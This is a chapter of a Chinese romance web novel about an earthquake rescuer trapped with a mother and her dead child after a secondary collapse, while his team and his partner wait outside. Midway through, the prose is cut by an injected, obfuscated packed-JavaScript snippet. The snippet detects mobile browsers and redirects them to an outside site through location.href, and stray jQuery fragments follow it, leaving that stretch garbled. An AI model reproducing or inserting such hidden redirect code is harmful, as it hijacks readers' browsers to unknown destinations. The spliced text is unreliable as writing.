101. 第 101 章

作品:《声声如叙[先婚后爱]

    那声音极其微弱,如果换一个人进来,不一定能在噪声中捕捉到这么细微的响动,就算听到了,也会以为是错觉。


    声音被夹在瓦砾堆积的拐角处,齐寻额前的头灯在那里映出一个青白色的光斑。


    他顺着越来越弱的声音穿过倒塌的隔墙,矮身钻过狭窄通道,最后终于停在了一个豁然张着方形大口的空间前。


    潮闷的尘土混杂着调味料油腻的气息,还有排泄物的气味,凝成一股令人作呕的味道,一同向齐寻兜头拍来。


    他三下两下拆除门上的碎玻璃,钻入这个塌了一半的厨房,看到角落形成的三角空间里,真的蜷缩着一个人。


    齐寻大步过去,半跪着扶上那人肩膀:“你还好吗?”


    受困者是个年轻的女人,一条腿以怪异的角度扭曲着,身体几乎僵直了,被他半拉半拽地扭过身,脸色苍白到透明,嘴唇干裂,眼睛半闭着,被头灯的光一照,眼皮都没动,只有瞳孔微微缩了缩。


    齐寻心里一紧。


    确实是强弩之末了,得快点带人出去,不然她可能都坚持不到外面。


    他用小瓶葡萄糖给她沾了沾嘴唇,又灌了点进去,那女人嘴唇翕动,眼珠卡顿地转了转,慢慢地睁开了。


    在看清来人的一瞬间,她手臂突然爆发出了一阵惊人的力量,死死拽住齐寻:“儿子,我的儿子!”


    齐寻怕晃到孩子,关了头灯,往她怀里看,才看到她抱着一个很瘦小的幼儿,正靠着她安静地睡着。


    “冷静,冷静下来,”齐寻拿铝毯裹住她,平视她的眼睛:“我这就带你们出去,你喝点水,恢复体力,为了你的孩子,好吗?”


    女人还未完全清醒,听得半懂不懂,但面前人冷静的语气竟真的让她慢慢安静下来,小口啜饮着矿泉水,然后低头喂给怀里的孩子。


    齐寻再次揩去额前的汗水,活动了一下颤抖的手指,按住手台:“发现伤者,是一对母子。重复,发现伤者,是一对母子,医疗队安排女队员上来。”


    到了废墟的深处,对讲机信号已经很弱了,微弱的电波不停传来卡顿的滋啦声。


    齐寻不能确定他们有没有听到,只能又对女人比划:“我,背你出去,孩子,”他做了个抱的手势:“给我。”


    女人反应迟缓地盯着他看,在明白他的意思后,浑浊的眼珠亮了亮,嘴里反复地嘟囔着道谢。


    她从三角空间里慢慢爬出来,把怀里的孩子交给齐寻,齐寻伸手小心接过,却一下子愣住了。


    那孩子……


    眼睛还半睁着,但身体已经硬了。


    尸体的冰凉从他的指尖一路疾速游走到他的心脏,又冷又尖地,狠狠在他胸口上戳了一刀。


    这一刀让他恍惚,他分不清这种冰冷是来自一个陌生国度的不幸的孩子,还是来自多年前他没有见到最后一面的家人。


    他肩线细细抖着,抬头看那女人,她正挣扎着拉开一个碎了一半的抽屉。


    那一刻,眼前的场景突然扭曲,跟十年前母亲从抽屉里给他拿零钱的画面蓦地重合,他眼神顿时失焦,慢慢地、机械般地,伸出了手。


    女人没看见他的动作,顾自从里面抓出一把花里胡哨的小孩零食,塞进口袋里。


    齐寻一下回神,喉头深深咽动一次,收回手调整了下孩子的姿势,避开女人的目光,道:“女士,请到我背上来,我……”


    话音未落,女人头上的橱柜突然发出一声不堪重负的吱呀声!


    齐寻几乎来不及出声,劈手大力将她拖到身前,与此同时,整个橱柜连同后面的墙体,一齐向他拍了下来!


    他肩膀正好在橱柜下方,代替女子的头顶硬挨了这一下,右肩瞬间没了知觉,碎掉的墙体被橱柜一挡,一部分落到了他背上,另一部分哗啦一声,碎在他身后。


    齐寻闷哼了声,背部紧紧绷起,膝盖微曲向前一扑,跪倒在地上,把受困的母子一起扑在身下。


    好在空间不大,墙体也不是承重墙,他背后还有背包,替他挡了一部分重创。饶是如此,他稍一吸气,肺部还是火烧一样地痛。


    可他顾不得伤势,因为他听见有细微却连续的楼板摩擦声,从不远处嘎吱传来。


    衣袋中的手台忽然尖锐地滋啦一响,传出一声模糊的:“白蛇——”齐寻心里猛地一沉,手台还没拿出来,地面和支撑他的岛台便开始剧烈地摇颤。


    仅仅三五秒,就听外面一声巨响,腾起的烟尘瞬间扑进厨房,带着煤灰味的粉末几乎遮蔽了视野,紧接着,一阵憋闷的沉滞感像一张膜,紧紧覆住了他的口鼻。


    ——居民楼发生了二次坍塌,塌方点堵住了原本的通气口,把他、把他们,一起封死在了这里。


    齐寻因为剧痛而轻喘着,满嘴都是汹涌的血气,不知是伤得严重,还是因为……


    因为他终于又掉进了那个好不容易爬出来的深渊里。


    他动作迟缓地坐起来,靠着墙根,竟慢慢地笑了。


    ……被命运恶意的嘲弄逗笑的。


    就好像他合该死在十年前的废墟里,那时候没死成,让他苟活这么多年,甚至叫他摸到了幸福,这才跳着脚,忙不迭又给他送来一场地震,非把他收走不可。


    右侧肢体失控般地痉挛,齐寻蜷起腿,死死握住右拳,咬牙看向身边的妇人。


    她在这里埋了将近四十小时,腿上的伤已经开始红肿溃烂。她眼睁睁看着远处光亮被堵死,半张着嘴,视线像固着在尘土飞扬的空中,连叫喊都发不出了。


    齐寻把唯一一罐氧气塞进她手里,尽力展平自己的语气,仍盖不住每个字的扭曲颤抖:“我队友在外面,他们会来的。”


    女人动作迟滞地回头看他,伸手要接他怀里的孩子,却被齐寻稍一侧身避过:“你保持清醒就行……孩子我来照顾。”


    女人颓软的身体靠在他身上,用气声问:“多久?”


    多久?


    这种钢筋混凝土结构,要人工破开一个救援出口,大概需要5小时,就算只是一个能够对话、通气的气口,也要2-3小时。


    如果能保证供氧,意识清醒,没有致命伤,她活下来没有问题。


    可齐寻的精神状态……他很可能撑不到那个时候。


    八年救援生涯,他试过被困在洪水中央,跟盗猎集团对峙,在风雪肆虐的山间搜救,数次险象环生,他都没有畏惧过。


    而这一次对他来说,才是真正的险境,就像是一场为他量身定制的炼狱。


    很久之前的曾经,他甚至觉得,如果最后一站是这样一个场景,都算是对他某种仁慈的恩赐。


    但现在,他已经有闻闻了。


    他再也不是烂命一条,不是死了也行,活着就是赚了。


    有一个人正在大本营里,望眼欲穿地等着他回家。


    心跳已经从过速转为心悸,每跳一下都好像在他胸膛里打抖;右侧肢体躯体化越来越严重,他几乎已经感受不到右手手指的存在了。


    他含着满口血气,极慢极慢地说:“很快,很快了。别睡,你听我、听我讲一个,很美、很温暖的故事……”


    ……


    此时此刻,居民楼外的队员们简直要疯了。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17216739|190916||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    他们听见楼里一声不妙的响动,而后眼睁睁地,看着原本危险地、虚搭着的楼板废墟,像危若累卵的积木一样,就在他们眼前,不留余地地轰然倾塌。


    整个小队静默了三秒,大山突然反应过来:“技术员呢!上声呐!快点!”


    技术员是个年轻小伙子,抱着仪器都快哭了,闻言一路小跑,穿过久久不散的尘烟,一边祈祷,一边在刚刚齐寻找到心跳的区域,一遍又一遍地发射声波信号。


    他们被埋得不浅,声波被层层叠叠的钢筋楼板反射回来,全是凌乱的杂音。


    现场没有一个人发出声音,连呼吸都屏住,好像不小心漏出一丝呜咽,都会干扰废墟里本该搏动的心脏。


    小熊满脸都是泪,紧紧捏着对讲机,喃喃道:“哥,你得出来啊,不然我怎么跟闻姐交代……”


    屏幕上的波形兀自凌乱了一阵,忽然,弹出了三个连续的、强过心跳体征的波动!


    与此同时,接入主控台的耳机里,传来了很轻、但很稳定的脆响!


    在场的队员同时长长松了口气,有眼窝浅的,直接哭出声了。


    那是微光救援队约定过的信号——敲击一下,十分危险,两下,受到了可能丧命的伤害,三下,暂无险情。


    大山抹了一把汗水和眼泪交汇的脸:“尽快,尽快破拆……今天就是刨,我们也得把白蛇活着刨出来!”


    ……


    大本营里,所有能外出的成员,已经全部出发搜救,只有后勤组和医疗组,各留下两个人,为后续可能出现的伤员紧锣密鼓地做准备。


    黎叙闻就是在清点药品时,听见B组发在主频道里的求援信息的。


    “主频主频,这里是B组,西侧居民楼中发现幸存者,现场突发二次坍塌,请求调派全部空闲人员协助破拆。请尽快到位,完毕。”


    黎叙闻后脑一阵翁响,直起身子,望向兀自响着的信号台。


    “别急,正常的,”阿咩从后勤那边跑过来,对她道:“人手不够用,又没有吊车挖掘机,以前也这样。”


    主频道消息重复了三遍,黎叙闻就凝神听了三遍,直到盘旋在空气里的尾音彻底散去了,她才蹙着眉问:“刚刚那个声音,不是白蛇。”


    “以前的求援信息……”她舔了舔嘴唇,好像不敢问下去:“也不是他发吗?”


    阿咩一愣:“啊?”


    随即,她就明白了黎叙闻的意思。


    确实,以前只要是白蛇带队,这种协调和求援,一直都是他亲力亲为。


    阿咩神情滞了一瞬,磕绊了下,才说:“也许现场需要他,你知道的,白蛇耳朵灵,有时候仪器都听不出的声音,他能听到,可能在忙也说不定。”


    黎叙闻拧着的眉头一下子松了。


    没错,就是这样。


    他们第一次见面的时候,齐寻也是这样救了她,不是吗?


    她点点头,转身去拿箱子里的绷带,一个恍神,把拿出来的生理盐水,又错放进了绷带箱子里。


    一定是这样,黎叙闻按住狂跳不止的心脏,想,齐寻从来没有骗过我。


    他说过要等他回来,他说过的。


    “阿咩,我……”


    她看着阿咩茫然的脸,又把后半句“想去找他”咽回了肚子里。


    不,不能去,以她的状态,去了只会让他分心。


    在他们再见面之前,她要好好地做完她该完成的任务,然后清醒地、安稳地,等着他回来。


    至少她要能笑着给他一个坚实的拥抱。


    他一定会回来的,一定。